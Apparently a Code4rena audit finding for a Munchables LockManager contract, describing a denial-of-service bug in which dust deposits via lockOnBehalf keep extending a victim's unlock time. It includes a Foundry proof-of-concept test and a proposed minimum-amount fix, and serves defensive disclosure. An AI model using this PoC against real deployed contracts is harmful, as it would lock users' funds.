Platform: Code4rena
Start Date: 22/05/2024
Pot Size: $20,000 USDC
Total HM: 6
Participants: 126
Period: 5 days
Judge: 0xsomeone
Total Solo HM: 1
Id: 379
League: ETH
Rank: 121/126
Findings: 1
Award: $0.00
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: Circolors
Also found by: 0rpse, 0x175, 0xAadi, 0xHash, 0xMax1mus, 0xMosh, 0xblack_bird, 0xdice91, 0xfox, 0xhacksmithh, 0xloscar01, 0xrex, 4rdiii, Audinarey, AvantGard, Bigsam, DPS, Dots, Drynooo, Dudex_2004, Evo, Kaysoft, King_, Limbooo, MrPotatoMagic, PENGUN, Sabit, SovaSlava, SpicyMeatball, TheFabled, Utsav, Varun_05, Walter, adam-idarrha, araj, aslanbek, ayden, bctester, biakia, bigtone, brgltd, carrotsmuggler, cats, crypticdefense, dd0x7e8, dhank, fandonov, fyamf, grearlake, iamandreiski, ilchovski, jasonxiale, joaovwfreire, lanrebayode77, m4ttm, merlinboii, niser93, nnez, octeezy, oxchsyston, pamprikrumplikas, rouhsamad, tedox, trachev, turvy_fuzz, twcctop, yotov721, zhaojohnson
0.0042 USDC - $0.00
As there is no minimum lock amount set for the lockOnBehalf
method, a malicious actor can deposit dust amounts on behalf of a user, extending their lock duration by the player-set duration and preventing them from ever unlocking by repeating this action.
lockOnBehalf
has no minimum Amount check:
function lockOnBehalf( address _tokenContract, uint256 _quantity, address _onBehalfOf ) external payable notPaused onlyActiveToken(_tokenContract) onlyConfiguredToken(_tokenContract) nonReentrant { address tokenOwner = msg.sender; address lockRecipient = msg.sender; if (_onBehalfOf != address(0)) { lockRecipient = _onBehalfOf; } _lock(_tokenContract, _quantity, tokenOwner, lockRecipient); }
It's notable that if the player changes the lock duration to zero, it still won't work because you can't reduce the lock duration, and it will revert with LockDurationReducedError()
.
_lock internal function updates the lockedToken.unlockTime
even with a dust lock amount:
function _lock( address _tokenContract, uint256 _quantity, address _tokenOwner, address _lockRecipient ) private { . . . // add remainder from any previous lock @> uint32 _lockDuration = playerSettings[_lockRecipient].lockDuration; @> if (_lockDuration == 0) { @> _lockDuration = lockdrop.minLockDuration; @> } if ( lockdrop.start <= uint32(block.timestamp) && lockdrop.end >= uint32(block.timestamp) ) { if ( _lockDuration < lockdrop.minLockDuration || _lockDuration > uint32(configStorage.getUint(StorageKey.MaxLockDuration)) ) revert InvalidLockDurationError(); if (msg.sender != address(migrationManager)) { // calculate number of nfts remainder = quantity % configuredToken.nftCost; numberNFTs = (quantity - remainder) / configuredToken.nftCost; if (numberNFTs > type(uint16).max) revert TooManyNFTsError(); // Tell nftOverlord that the player has new unopened Munchables nftOverlord.addReveal(_lockRecipient, uint16(numberNFTs)); } } // Transfer erc tokens if (_tokenContract != address(0)) { IERC20 token = IERC20(_tokenContract); token.transferFrom(_tokenOwner, address(this), _quantity); } lockedToken.remainder = remainder; lockedToken.quantity += _quantity; @> lockedToken.lastLockTime = uint32(block.timestamp); @> lockedToken.unlockTime = uint32(block.timestamp) + uint32(_lockDuration); // set their lock duration in playerSettings playerSettings[_lockRecipient].lockDuration = _lockDuration; emit Locked( _lockRecipient, _tokenOwner, _tokenContract, _quantity, remainder, numberNFTs, _lockDuration ); }
Here are the attack steps:
lockOnBehalf
earlier, so it will revert.function test_DOS_lockOnBehalf() public { hacker = makeAddr("hacker"); vm.deal(hacker, 1 ether); uint256 dustAmount = 1 wei; uint256 lockAmount = 100e18; deployContracts(); // register me amp.register(MunchablesCommonLib.Realm(3), address(0)); // lock tokens lm.lock{value: lockAmount}(address(0), lockAmount); lm.setLockDuration(90 days); uint256 unlockTime = block.timestamp + 90 days; vm.warp(unlockTime); /// attacker calls onlockbehalf before the user calls the unlock vm.prank(hacker); lm.lockOnBehalf{value: dustAmount}( address(0), dustAmount, address(this) ); /// user calls unlock vm.expectRevert(ILockManager.TokenStillLockedError.selector); lm.unlock(address(0), lockAmount); ///user intentds to change lock time vm.expectRevert(ILockManager.LockDurationReducedError.selector); lm.setLockDuration(0); }
Manual Review, Foundry
To fix this, a minimum lock amount can be set for different tokens in lockOnBehalf
function to prevent malicious actors from attacking by increasing the cost of the attack.
function lockOnBehalf( address _tokenContract, uint256 _quantity, address _onBehalfOf ) external payable notPaused onlyActiveToken(_tokenContract) onlyConfiguredToken(_tokenContract) nonReentrant { address tokenOwner = msg.sender; address lockRecipient = msg.sender; if (_onBehalfOf != address(0)) { lockRecipient = _onBehalfOf; } + if (_quantity < MIN_LOCK_AMOUNT){ + revert("lock amount is less than minimum"); + } _lock(_tokenContract, _quantity, tokenOwner, lockRecipient); }
DoS
#0 - c4-judge
2024-06-05T12:58:45Z
alex-ppg marked the issue as partial-75